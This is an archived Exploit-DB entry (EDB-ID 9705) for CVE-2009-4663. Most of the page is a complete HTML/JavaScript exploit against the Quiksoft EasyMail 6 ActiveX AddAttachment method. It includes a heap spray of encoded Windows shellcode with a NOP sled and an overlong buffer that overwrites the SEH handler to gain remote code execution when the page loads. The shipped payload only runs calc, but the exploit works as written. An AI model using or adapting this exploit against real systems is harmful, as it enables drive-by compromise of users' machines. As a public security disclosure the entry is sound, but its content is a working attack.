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Quiksoft EasyMail 6 AddAttachment Remote Buffer Overflow Exploit

2009-09-17T00:00:00
ID EDB-ID:9705
Type exploitdb
Reporter bmgsec
Modified 2009-09-17T00:00:00

Description

Quiksoft EasyMail 6 (AddAttachment) Remote Buffer Overflow Exploit. CVE-2009-4663. Remote exploit for windows platform

                                        
                                            <html>
 <head>
    <!--
      -- Quiksoft EasyMail 6 (AddAttachment) Remote Buffer Overflow Exploit
      -- 
      -- Its old and the latest version doesn't support this method. 
      -- I was bored and a similar post sparked my interest. 
      -- 
      -- Advisory: http://www.bmgsec.com.au/advisory/48/
      -- 
      -- Written by:
      -- bmgsec (bmgsec [at] gmail.com / www.bmgsec.com.au)
      --  -->
 <title>Quiksoft EasyMail 6 (AddAttachment) Remote Buffer Overflow Exploit</title>
<object classid='clsid:68AC0D5F-0424-11D5-822F-00C04F6BA8D9' id='test'></object>
<script language='javascript'>
       function str_repeat ( input, multiplier ) {
               return new Array(multiplier+1).join(input);
       }

       //windows/exec CMD: calc Size: 144 bytes Encoder: x86/shikata_ga_nai ExitFunc: SEH
       shellcode = unescape("%uc931%u1eb1%ue2b8%udc1f%ud9cc%ud9e5%u2474%u5bf4%u4331%u830f%ufceb"+
                            "%u4303%ufde9%u3029%u4505%uc9d2%ucdd5%uf597%uad5e%u7e12%ua161%u3196"+
                            "%ub679%uedf6%u2378%u6541%u384e%u9753%ufe9f%ucbcd%u3e5b%u1499%u75a2"+
                            "%u1a6f%u61e6%u2784%u51b2%u2d61%u11df%ue936%ucd1e%u7aaf%u5a2c%u22bb"+
                            "%u5d30%u5750%ud654%u83a7%ub4ed%u5783%u1b2e%ua1fd%uf2d0%uc699%ucb56"+
                            "%u99ea%ua05a%u059d%u3dcf%u3e35%uba86%ufe45%u6af2%u0f22%u8f88%u87ed"+
                            "%u7114%u569b%u7173%u057b%ue11a%ucae7");

       bigblock = unescape("%u9090%u9090");
       headersize = 20;
       slackspace = headersize + shellcode.length;

       while (bigblock.length < slackspace)
               bigblock += bigblock;

       fillblock = bigblock.substring(0, slackspace);
       block = bigblock.substring(0, bigblock.length - slackspace);

       while (block.length + slackspace < 200000)
               block = block + block + fillblock;

       memory = new Array();
       for (i=0; i<500; i++)
               memory[i] = block + shellcode;

       buffer = str_repeat('A', 433);
       buffer += "BBBB";
       buffer += str_repeat(unescape("%0b%0b%0b%0b"), 63);

       test.AddAttachment(buffer, 1);
</script>
</head>
</html>

# milw0rm.com [2009-09-17]
JSON Vulners Source
Initial Source


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